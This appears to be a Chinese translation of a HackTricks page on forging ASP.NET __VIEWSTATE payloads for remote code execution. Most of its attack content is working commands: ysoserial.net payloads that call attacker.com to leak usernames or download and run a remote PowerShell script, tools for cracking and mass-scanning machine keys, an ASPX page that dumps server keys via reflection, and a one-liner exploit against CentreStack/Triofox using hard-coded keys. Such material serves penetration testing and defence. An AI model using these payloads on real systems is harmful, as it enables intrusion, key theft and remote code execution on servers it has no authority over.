在不知道密钥的情况下利用 __VIEWSTATE

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

什么是 ViewState

ViewState 是 ASP.NET 中用于在网页之间保持页面和控件数据的默认机制。在页面 HTML 渲染过程中,页面的当前状态和在 postback 时需要保留的值会被序列化为 base64 编码的字符串。这些字符串随后被放入隐藏的 ViewState 字段中。

ViewState 信息可以由以下属性或它们的组合来描述:

  • Base64
  • EnableViewStateMacViewStateEncryptionMode 属性都设置为 false 时使用此格式。
  • Base64 + MAC (Message Authentication Code) 已启用
  • 通过将 EnableViewStateMac 属性设置为 true 来启用 MAC。它为 ViewState 数据提供完整性验证。
  • Base64 + 加密
  • 当将 ViewStateEncryptionMode 属性设置为 true 时会应用加密,从而确保 ViewState 数据的机密性。

测试用例

该图像为一个表格,详细说明了基于 .NET 框架版本的 ASP.NET 中不同的 ViewState 配置。以下是内容摘要:

  1. 对于 任何版本的 .NET,当 MAC 和 Encryption 都被禁用时,不需要 MachineKey,因此没有适用的方法来识别它。
  2. 对于 低于 4.5 的版本,如果启用了 MAC 但未启用 Encryption,则需要 MachineKey。识别 MachineKey 的方法称为 “Blacklist3r”。
  3. 对于 低于 4.5 的版本,无论 MAC 是启用还是禁用,如果启用了 Encryption,都需要 MachineKey。识别 MachineKey 的任务归入 “Blacklist3r - Future Development”。
  4. 对于 4.5 及以上版本,MAC 和 Encryption 的所有组合(无论两者是否同时为 true)都需要 MachineKey。MachineKey 可以使用 “Blacklist3r” 来识别。

测试用例: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

也可以通过在注册表中将 AspNetEnforceViewStateMac 键设置为 0 来完全禁用 ViewStateMAC,路径为:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

识别 ViewState 属性

你可以尝试通过使用 BurpSuite 捕获包含该参数的请求来识别 ViewState 是否受 MAC 保护。如果未使用 MAC 来保护该参数,你可以使用 YSoSerial.Net 对其进行利用。

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

开发者可以移除 ViewState,使其不成为 HTTP Request 的一部分(用户将不会收到该 cookie)。
有人可能会认为如果 ViewState 不存在,他们的实现就不会受到由 ViewState 反序列化引起的任何潜在漏洞影响。
然而,事实并非如此。如果我们将 ViewState 参数添加到请求体并发送使用 ysoserial 创建的序列化 payload,我们仍然能够如 案例 1 所示实现 代码执行

测试用例:2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

为了在特定页面启用 ViewState MAC,我们需要在特定的 aspx 文件上做以下更改:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

我们也可以针对整个应用程序通过在web.config文件中设置,如下所示:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

由于该参数这次受 MAC 保护,要成功执行该攻击,我们首先需要所使用的 key。

你可以尝试使用 Blacklist3r(AspDotNetWrapper.exe) 来查找所使用的 key。

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets 是另一个可以识别已知 machineKeys 的工具。它是用 Python 编写的,因此与 Blacklist3r 不同,不依赖 Windows。对于 .NET viewstates,有一个 “python blacklist3r” 实用程序,这是使用它的最快方法。

它可以直接提供 viewstate 和 generator:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

或者,它可以直接连接到目标 URL 并尝试从 HTML 中提取 viewstate:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

在结合 subdomain enumeration 的情况下,可用于大规模搜索易受攻击的 viewstates 的模块是 badsecrets BBOT

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

如果幸运且找到密钥,您可以使用 YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

在服务器未发送 _VIEWSTATEGENERATOR 参数的情况下,你需要提供 --generator 参数但以下这些

--apppath="/" --path="/hello.aspx"

Exploiting recycled <machineKey> values at scale

Ink Dragon (2025) 展示了当管理员 复制 Microsoft 文档、StackOverflow 回答或厂商博客中发布的示例 <machineKey> 时有多么危险。一旦单个目标 leaks 或在集群中重用这些密钥,所有其他信任 ViewState 的 ASP.NET 页面都可以在没有任何额外漏洞的情况下被远程劫持。

  1. 构建候选字典,使用泄露的 validationKey/decryptionKey 对(例如抓取公开仓库、Microsoft 博客文章,或从集群中某台主机恢复的密钥),并将其提供给 Blacklist3r/Badsecrets:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld

这些工具会反复使用每个候选密钥对一个良性的 __VIEWSTATE blob 进行签名,直到服务器接受 MAC,从而证明该密钥有效。 2. 一旦密钥对已知,伪造恶意 ViewState。如果禁用了加密,你只需要 validationKey。如果启用了加密,需要包含匹配的 decryptionKey,以便 payload 能在 decrypt → deserialize 路径中存活:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>

运营者常常将驻盘启动器(例如 PrintNotifyPotato、ShadowPad loaders 等)直接嵌入 payload,因为它在 IIS worker(w3wp.exe)中执行。 3. 横向转移,通过在兄弟 SharePoint/IIS 节点之间回收相同的 <machineKey>。一旦一台服务器被攻陷,你可以重放该密钥,攻击所有未轮换其配置的其他服务器。

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

在这种情况下不知道该参数是否受 MAC 保护。于是该值很可能被加密,你将需要 Machinekey 来加密你的 payload以利用该漏洞。

在这种情况下 Blacklist3r 模块正在开发中…

在 .NET 4.5 之前,即便将 ViewStateEncryptionMode 设置为 Always,ASP.NET 仍然可以从用户接受一个未加密的___VIEWSTATE_参数。ASP.NET 仅检查 请求中是否存在 __VIEWSTATEENCRYPTED 参数。如果移除此参数并发送未加密的 payload,它仍然会被处理。

因此,如果攻击者通过文件遍历等其他 vuln 找到 Machinekey,YSoSerial.NetCase 2 中使用的命令,可以用来通过 ViewState 反序列化漏洞执行 RCE。

  • 从请求中移除 __VIEWSTATEENCRYPTED 参数以利用 ViewState 反序列化漏洞,否则会返回 Viewstate MAC 校验错误,利用将失败。

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

我们可以通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架,如下所示。

<httpRuntime targetFramework="4.5" />

或者,可以通过在 web.config 文件的 machineKey 参数中指定下面的选项来完成。

compatibilityMode="Framework45"

如前所述,value 是加密的。 因此,要发送一个valid payload,attacker 需要 key。

你可以尝试使用 Blacklist3r(AspDotNetWrapper.exe) 来查找正在使用的 key:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

有关 IISDirPath 和 TargetPagePath 的更详细说明,请 refer here

或者,使用 Badsecrets (with a generator value):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

一旦识别出有效的 Machine key,下一步是生成序列化载荷,使用 YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

如果你拥有 __VIEWSTATEGENERATOR 的值,可以尝试将该值作为 --generator 参数 使用,并 省略 参数 --path--apppath

成功利用 ViewState 反序列化漏洞会触发一个到攻击者控制的服务器的带外请求,该请求会包含用户名。这类利用在一个概念验证 (PoC) 中有演示,题为 “Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET”。有关利用过程的更多细节以及如何使用 Blacklist3r 等工具来识别 MachineKey,请查看提供的 PoC of Successful Exploitation

测试用例 6 – 正在使用 ViewStateUserKeys

ViewStateUserKey 属性可以用于 防御 CSRF 攻击。如果在应用程序中定义了这样的键,而我们尝试使用到目前为止讨论的方法生成 ViewState payload,那么 payload 不会被应用程序处理
你需要再使用一个参数才能正确地创建该 payload:

--viewstateuserkey="randomstringdefinedintheserver"

成功利用的结果

在所有测试用例中,如果 ViewState YSoSerial.Net payload 成功,服务器会返回 “500 Internal server error”,响应内容为 “The state information is invalid for this page and might be corrupted”,并且我们会收到 OOB 请求。

Check for further information here

通过反射转储 ASP.NET Machine Keys (SharPyShell/SharePoint ToolShell)

能够在目标网站根目录中 upload or execute arbitrary ASPX code 的攻击者可以直接检索用于保护 __VIEWSTATE 的密钥,而无需通过 bruteforcing。

一个用于 leaks 密钥的最小 payload 利用内部 .NET 类通过反射:

<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

请求该页面会打印出 ValidationKey, DecryptionKey, 加密算法以及 ASP.NET 兼容模式。 这些值现在可以直接输入到 ysoserial.net 中,以创建一个有效的、已签名的 __VIEWSTATE gadget:

ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

This key-exfiltration primitive 在 2025 年被大规模利用于 on-prem SharePoint servers(“ToolShell” – CVE-2025-53770/53771),但它适用于任何允许 attacker 运行 server-side code 的 ASP.NET 应用程序。

2024-2025 现实世界利用场景与硬编码的 machineKey

Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)

Microsoft Threat Intelligence 报告称,在一些 ASP.NET 站点中,machineKey had previously been leaked on public sources (GitHub gists, blog posts, paste sites)。攻击者枚举了这些 keys,并使用较新的 ysoserial.net 1.41 --minify--islegacy 参数生成了有效的 __VIEWSTATE gadgets,以规避 WAF 的长度限制:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

在多个集群中持续重用相同的静态密钥的目标将长期保持易受攻击;一旦它们迁移到 AutoGenerate 值,spray technique 就会失效,因此应优先针对仍然暴露 hard-coded material 的旧部署。

CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys

Kudelski Security 发现多个 CentreStack / Triofox 版本随附了相同的 machineKey 值,从而可以通过 ViewState forgery 实现未认证的远程代码执行 (CVE-2025-30406)。

One-liner exploit:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

在 CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 中已修复 — 请立即升级或更换密钥。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks